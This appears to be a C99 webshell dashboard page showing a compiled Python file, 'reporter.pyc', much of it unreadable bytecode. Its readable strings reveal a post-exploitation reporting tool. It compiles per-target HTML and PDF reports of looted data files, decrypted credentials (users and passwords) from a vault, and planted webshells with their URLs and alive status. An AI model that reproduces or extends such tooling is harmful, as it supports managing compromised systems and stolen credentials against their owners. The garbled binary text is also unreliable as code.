C99SHELL DASHBOARDc99shell.tail7973d7.ts.net WebshellDBRoot 2026-08-03 08:15:11

!C99SHELL 2.0 [PHP 7 Update] [25.02.2019] !

Software: Apache/2.4.68 (Debian). PHP/8.2.33  

uname -a: Linux 9d2024043b5d 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1
(2026-06-18) x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data)  

Safe-mode: OFF (not secure)

/var/www/html/__pycache__/   drwxrwxrwx
Free 115.58 GB of 452.4 GB (25.55%)


File: reporter.cpython-313.pyc · 20.69 KB · -rwxrwxrwx

�

$pj�,��J�SrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSr	\	S-r
\	S-r\S-r\S-r
\	S-r\S	-r\S
-r\R"R%S\	5 SSKrSrSrS
rSrSrSrSrSrSr"SS\5rSSjrSr \!S:Xa\ "5 gg)a�reporter.py - generate per-target HTML reports, an index, and PDF exports.
Data sources: targets/<d>/recon.json, info.txt, data/*, data/loot/*, .planted.json, vault.json.
Output:
  recon/reports/<d>/report.html   per-target report
  recon/reports/index.html        master index
  recon/reports/<d>/report.pdf    PDF export (pure-python, no deps)
CLI: reporter.py [--target D] [--all] [--pdf] [--index]
�Nz
/var/www/htmlz/targetsz/reconz/reportsz/last_scan.jsonz/.planted.jsonz/vault.jsonz/reports.logc��S[R"S5<SU<3n[[S5nUR	US-5 SSS5 [
RR5(a[USS9 gg!,(df   N==f)N�[z%d/%m %H:%M:%S�] �a�
T)�flush)	�time�strftime�open�LOG�write�sys�stdout�isatty�print)�m�line�fs   �reporter.py�logrs`���
�
�&6�7��;�D�	
�c�3��1�	����t���
�
�z�z�����
�d�$���
��s�A;�;
B	c�R�[R"[U=(d S55$)N�)�html�escape�str)�ss r�escr!s���;�;�s�1�7��|�$�$�c��[RR[US5n[RR	U5(a [
R"[U55$0$![a 0$f=f)Nz
recon.json)	�os�path�join�TARGETS�isfile�json�loadr�	Exception��d�ps  r�
load_reconr+%sc��
�����W�a��.�A�	�w�w�~�~�a���	��9�9�T�!�W�%�%��I���	��
�I�	�s�A,�,
A:�9A:c���[RR[US5n[RR	U5(a[U5R
S5$g![a gf=f)Nzinfo.txti,r)r r!r"r#r$r�readr'r(s  r�	load_infor./s_��
�����W�a��,�A�	�w�w�~�~�a���	���7�<�<��$�$����	��
�	�s�A&�&
A3�2A3c	���[RR[US5n[RR	U5(d/$/n[R
"U5H�up4n[
U5Hpn[RRX65nURU[RRXq5[RRU545 Mr M� U$)N�data)
r r!r"r#�isdir�walk�sorted�append�relpath�getsize)r)�base�out�root�_�files�fnr*s        r�
data_filesr=9s���
�7�7�<�<���F�+�D�
�7�7�=�=�����	�
�C��'�'�$�-������-�B������T�&�A��J�J��B�G�G�O�O�A�4�b�g�g�o�o�a�6H�I�J� �(��Jrc
�<�[RR[5(d/$[R
"[
[55n/nURS/5H�nURS5U:XdMURUSUS[R"URSS55[R"URSS55[R"URSS55S	.5 M� U$![a /s$f=f)
N�entries�target�id�kind�userr�password�note)rArBrCrDrE)r r!r$�
VAULT_FILEr%r&rr'�getr4�vault�_dec)r)�vr8�es    r�vault_creds_forrLEs���
�7�7�>�>�*�%�%��	���I�I�d�:�&�'��
�C�
�U�U�9�b�
!���5�5��?�a���J�J�a��g�q��y� %�
�
�1�5�5���+<� =�$)�J�J�q�u�u�Z��/D�$E� %�
�
�1�5�5���+<� =�?�
@�"��J�����	��s�#D�D�Dc���[RR[5(dg[R
"[
[55RU5$![a gf=f�N)	r r!r$�PLANTEDr%r&rrGr')r)s r�planted_forrPVsM��
�7�7�>�>�'�"�"����y�y��g��'�+�+�A�.�.������s�1A�
A*�)A*c���[U5n[U5n[U5n[U5n[	U5n/nSHNnURU5nUR
URSS5R5[U545 MP Sn	UH!up�nU	S[U5<SU<SU
<S3-
n	M# Sn
U(a`UHYnU
S[US5<S[US	5<S[US
5<S[US5<S[US5<S3-
n
M[ OS
n
SnU(atS[URS55<S[URS55<S[URS55<S[URS55<S3	nOSnS[U5<S[U5<SSRSU55<SU	=(d S<SU
<SU<S 3
nU$)!N)
�domain�title�server�platform�waf�final�
https_code�	http_code�alive�tsr:� r�<tr><td>�	</td><td>�
</td></tr>rArBrCrDrEz5<tr><td colspan="5">no credentials in vault</td></tr>z.<table class="meta"><tr><th>Shell URL</th><td>�urlz!</td></tr><tr><th>Status</th><td>rZ� / �codez%</td></tr><tr><th>Last check</th><td>�lastz</td></tr></table>z<p>no shell planted</p>z8<!DOCTYPE html><html><head><meta charset="utf-8"><title>u�</title>
<style>
body{font-family:monospace;margin:2em;background:#111;color:#ddd}
h1{color:#e63;border-bottom:1px solid #444;padding-bottom:4px}
table{border-collapse:collapse;width:100%;margin:1em 0;font-size:13px}
th,td{border:1px solid #444;padding:4px 8px;text-align:left}
th{background:#1a1a1a;color:#e63}
.meta th{width:180px}
.sec{margin-top:1.5em}
a{color:#8cf}
</style></head><body>
<h1>REPORT — z</h1>
<table class="meta">c3�<# �UHupSU<SU<S3v� M g7f)z<tr><th>z	</th><td>r_N�)�.0�krJs   r�	<genexpr>�build_report.<locals>.<genexpr>�s���-E�?C�t�q�!�Q��2�t�s�zd</table>
<div class="sec"><h3>DATA FILES</h3><table><tr><th>File</th><th>Size</th><th>Name</th></tr>z%<tr><td colspan="3">no data</td></tr>z�</table></div>
<div class="sec"><h3>CREDENTIALS (vault)</h3><table><tr><th>ID</th><th>Kind</th><th>User</th><th>Password</th><th>Note</th></tr>z6</table></div>
<div class="sec"><h3>PLANTED SHELL</h3>zF</div>
<p><a href="../index.html">back to index</a></p>
</body></html>)r+r.r=rLrPrGr4�replacerSrr")r)�r�infor;�creds�pl�rowsrgrJ�	data_htmlr<�rel�size�
creds_html�c�
plant_html�ts                 r�build_reportrw_s����1�
�A��Q�<�D��q�M�E��A��E�	�Q��B�
�D�8��
�E�E�!�H�����Q�Y�Y�s�C�(�.�.�0�#�a�&�9�:�8�
�I��
����S��X�t�UW�X�X�	���J���A��!�!�D�'�l�C��&�	�N�C��&�	�N�!�!�J�-�0�#�a��i�.�B�
C�J��
M�
��J�	��R�V�V�E�]�+�S������-A�3�r�v�v�f�~�CV��R�V�V�F�^�,�	.�
�/�
��&��V�S��V�R�W�W�-E�?C�-E�&E��<�<�<��J�)	 �A�*
�Hrc	�*�[RR[5(aO[R
"[
[55Vs/sHoRS5(dMUSPM! nnO/nU(d*[S[R"[555n[RR[5(d[R"[5 Sn[U5H�n[RR[RR[US55nU(aSU<SU<S3OS	n[!U5SS
nUS[#U5<S[#U5<SU<S
3-
nM� S[%U5U4-n[
[RR[S5S5nUR'U5 SSS5 [%U5$s snf![a /nGN�f=f!,(df   N1=f)NrZrRc3�# �UHOn[RR[RR[U55(dMKUv� MQ g7frN�r r!r1r"r#)rfr)s  rrh�build_index.<locals>.<genexpr>�s4���`�!4�A����
�
�b�g�g�l�l�SZ�\]�F^�8_�a�a�!4���A
A�	Ar�report.htmlz	<a href="z /report.html">HTML</a> <a href="z/report.pdf">PDF</a>z	no report�<r]r^r_u�<!DOCTYPE html><html><head><meta charset="utf-8"><title>Reports index</title>
<style>
body{font-family:monospace;margin:2em;background:#111;color:#ddd}
h1{color:#e63}table{border-collapse:collapse;width:100%%;font-size:13px}
th,td{border:1px solid #444;padding:4px 8px;text-align:left}th{background:#1a1a1a;color:#e63}
a{color:#8cf}
</style></head><body>
<h1>REPORTS — index (%d targets)</h1>
<table><tr><th>Target</th><th>Info</th><th>Reports</th></tr>%s</table>
</body></html>z
index.html�w)r r!r$�	SCAN_JSONr%r&rrGr'r3�listdirr#r1�OUT�makedirsr"r.r�lenr
)	rk�liveror)�
has_report�linkrlrvrs	         r�build_indexr��sw��	�w�w�~�~�i� � �	�)-���4�	�?�)C�V�)C�A�u�u�W�~�K�A�h�K�)C�D�V�D�����`����G�!4�`�`��
�7�7�=�=����
���C��
�D�
�D�\���W�W�^�^�B�G�G�L�L��a��$G�H�
�'�1�a��-8�	
���|�C�R� ����A���D�	�SW�X�X���		���Y��%�		&�A�
�b�g�g�l�l�3��-�s�	3�q�	����
�
4��t�9���9W���	��D�	��2
4�	3�s5�%G1�G,�,	G,�5G1�H�,G1�1H�H�
Hc�8�\rSrSrSrSrSrSrSrSr	Sr
g	)
�PDF�c�L�//UlSUlSUlSUlSUlg)N�2� �F1�
)�pages�x�y�fontrr��selfs r�__init__�PDF.__init__�s'���T��
���������	���	rc�V�URR/5 SUlSUlg)Nr�r�)r�r4r�r�r�s r�new_page�PDF.new_page�s"���
�
���"�������rc
�(�URS:aUR5 URSRSURUR
URURURU54-5 U=RS-slg)Nr����z BT /%s %d Tf %d %d Td (%s) Tj ET�)r�r�r�r4r�rrr��_esc�r�rs  r�text�PDF.text�sj���6�6�B�;��M�M�O��
�
�2����@�!%���D�I�I�t�v�v�t�v�v�t�y�y�QR�|� T�U�	V����"��rc��URS:aUR5 URSRSURURURU54-5 U=RS-slg)N�Pr�z BT /F1 15 Tf %d %d Td (%s) Tj ET�)r�r�r�r4r�r�r�s  r�heading�PDF.heading�s\���6�6�B�;��M�M�O��
�
�2����@�!%���������1�� >�?�	@����"��rc��URSS5RSS5RSS5RSS5$)	N�\z\\�(z\(�)z\)rr\)rjr�s  rr��PDF._esc�s<���y�y��v�&�.�.�s�E�:�B�B�3��N�V�V�W[�]`�a�arc��^�[UR5nSnX2-mTU-nUS-nUS-nUnS/nURH=n	SRU	5n
URS[U5[U
5U
4-5 M? [	UR5H"up�URSTU-XCU-U4-5 M$ SRU4Sj[U555n
URSXMU4-5 URS	XT4-5 URS
U-5 SRU5n/nSUS--S
/nSnUSSH1nURU[US5-5 U[U5-
nM3 UHnURSU-5 M SUS-U[U54-n[
US5nURUSRU5-U-5 SSS5 g!,(df   g=f)N�z	%PDF-1.4
rz5%d 0 obj
<< /Length %d >>
stream
%s
endstream
endobj
zj%d 0 obj
<< /Type /Page /Parent %d 0 R /Contents %d 0 R /Resources << /Font << /F1 %d 0 R >> >> >>
endobj
r\c3�4># �UH
nSTU--v� M g7f)z%d 0 RNre)rf�i�
page_firsts  �rrh�PDF.save.<locals>.<genexpr>�s����F�X���J��N�3�X�s�z8%d 0 obj
<< /Type /Pages /Kids [%s] /Count %d >>
endobj
z3%d 0 obj
<< /Type /Catalog /Pages %d 0 R >>
endobj
zE%d 0 obj
<< /Type /Font /Subtype /Type1 /BaseFont /Courier >>
endobj
rz
xref
0 %d
z0000000000 65535 f 
rz%010d 00000 n 
z9trailer
<< /Size %d /Root %d 0 R >>
startxref
%d
%%%%EOF
r)r�r�r"r4�	enumerate�rangerr
)r�r!�P�stream_first�	pages_obj�catalog_obj�font_obj�	n_objects�raw�page�contentr�r:�kids�body�offsets�xref�posrk�off�trailerrr�s                      @r�save�PDF.save�s������
�
�O����!�%�
���N�	��!�m����?���	��n���J�J�D��i�i��o�G��J�J�T��c�(�C��L�'�:�;�
<���d�j�j�)�D�A��J�J�N�$�q�.�)�A�5E�x�P�Q�
R�*��x�x�F�U�1�X�F�F���
�
�P��q�)�*�	+��
�
�K�!�-�.�	/��
�
�]���	��w�w�s�|�����)�a�-�0�2I�J�����Q�R��A��N�N�3��S��V��,�-��3�q�6�M�C���C��K�K�*�S�0�1��S��!�m�[�#�d�)�<�=��
�$��_��
�G�G�D�2�7�7�4�=�(�7�2�3��_�_�s�2'G"�"
G0)r�r�rrr�r�N)�__name__�
__module__�__qualname__�__firstlineno__r�r�r�r�r�r��__static_attributes__rerrr�r��s!����
��b�&4rr�c���[U5n[U5n[U5n[U5n[	5nURU5 UR
SURS5=(d U-5 UR
S[R"S5-5 UR
S5 SH+nUR
U<SURUS5<35 M- UR
S5 URS5 UH#up�n
UR
U	<S	U
<S
U<S35 M% UR
S5 URS5 UH7nUR
S
US<SUS<SUS<SUS<SUS<3
5 M9 U(a|UR
S5 URS5 UR
SURS5-5 UR
SURS5<SURS5<35 [RR[U5n[R"USS9 [RRUS 5n
URU
5 U
$)!NzTarget: rRzGenerated: z%d/%m/%Y %H:%M:%Sr)rTrUrVrSrXrYrZ�: z
Data filesz (z	 bytes) [�]�CredentialsrrBrrAz | user=rCz pass=rDz note=rEz
Planted shellzurl: %sr`zalive: rZrarbT��exist_okz
report.pdf)r+r=rLrPr�r�r�rGr	r
r r!r"r�r�r�)r)rSrkr;rmrnr*rgr<rqrrrtr8r!s              r�	build_pdfr�s����1�
�A��q�M�E��A��E�	�Q��B���A��I�I�e���F�F�:����x��-�A�.�/��F�F�=�4�=�=�)<�=�=�>��F�F�2�J�
W��	���1�a�e�e�A�r�l�+�,�X��F�F�2�J��I�I�l���
���	���s�D�"�5�6���F�F�2�J��I�I�m��
��	���a��i��4��!�F�)�UV�Wa�Ub�de�fl�dm�n�o��	�	���r�
�	�	�	�/�"�	���y�2�6�6�%�=�(�)�	���2�6�6�'�?�B�F�F�6�N�C�D�
�'�'�,�,�s�A�
�C��K�K��d�#�
�7�7�<�<��\�*�D��F�F�4�L��Krc��[R"SS9nURS5 URSSS9 URSSSS	9 URS
SS9 UR5nUR(a�URn[
RR[U5n[
R"USS9 [[
RRUS
5S5nUR[U55 SSS5 UR(a[U5 [SU-5 GOUR (a�Sn[#S[
R$"[&555H�n[
RR[U5n[
R"USS9 [[
RRUS
5S5nUR[U55 SSS5 UR(a[U5 US-
nM� [SU-5 OUR+5 gUR,(a[/5n[SU-5 g[/5 g!,(df   GN|=f!,(df   N�=f![(an[SU<SU<35 SnAN�SnAff=f)Nzreporter.py)�progz--targetz--all�
store_true)�actionz--pdfzalso write PDF per target)r��helpz--indexTr�r}rzreport: %s writtenrc3�# �UHOn[RR[RR[U55(dMKUv� MQ g7frNrz)rfr�s  rrh�main.<locals>.<genexpr>8s4���b�#6�a�"�'�'�-�-������U\�^_�H`�:a���#6�r|z	pdf fail r�r�zreport: %d reports writtenzreport: index written (%d))�argparse�ArgumentParser�add_argument�
parse_argsr@r r!r"r�r�rr
rw�pdfr�r�allr3r�r#r'�
print_help�indexr�)�aprr)�odr�nrK�cnts        r�mainr�%s���	�	 �	 �m�	4�B��O�O�J���O�O�G�L�O�1��O�O�G�L�7R�O�S��O�O�I�l�O�3�
�
�
��A��x�x�
�H�H��
�W�W�\�\�#�q�
!��
���B��&�
�"�'�'�,�,�r�=�1�3�
7�1�
�G�G�L��O�$�8��5�5��a�L�� �1�$�%�	
���
���b�2�:�:�g�#6�b�b�A������c�1�%�B��K�K��T�*��b�g�g�l�l�2�}�5�s�;�q�����Q��(�<��u�u�4��a�L�
��F�A�c�	�(�1�,�-�
�
�
����w�w��m���(�3�.�/��
�58�
7��<�;��
!�4��Q��2�3�3��4�s0�'I7�J	�J�7
J�	
J	�
K�$J<�<K�__main__)zC99SHELL REPORT)"�__doc__r�rr%r �rerr	�zlib�BASEr#�RECONr�r�rOrFrr!�insertrHrrr+r.r=rLrPrwr��objectr�r�r�r�rerr�<module>r�s����5�4�4�4���
��
���x����j����%�%�	�
�!�
!��
�]�
"�
��n���������4��� �%���	��"�9
�x�FD4�&�D4�N�@&�R�z���F�r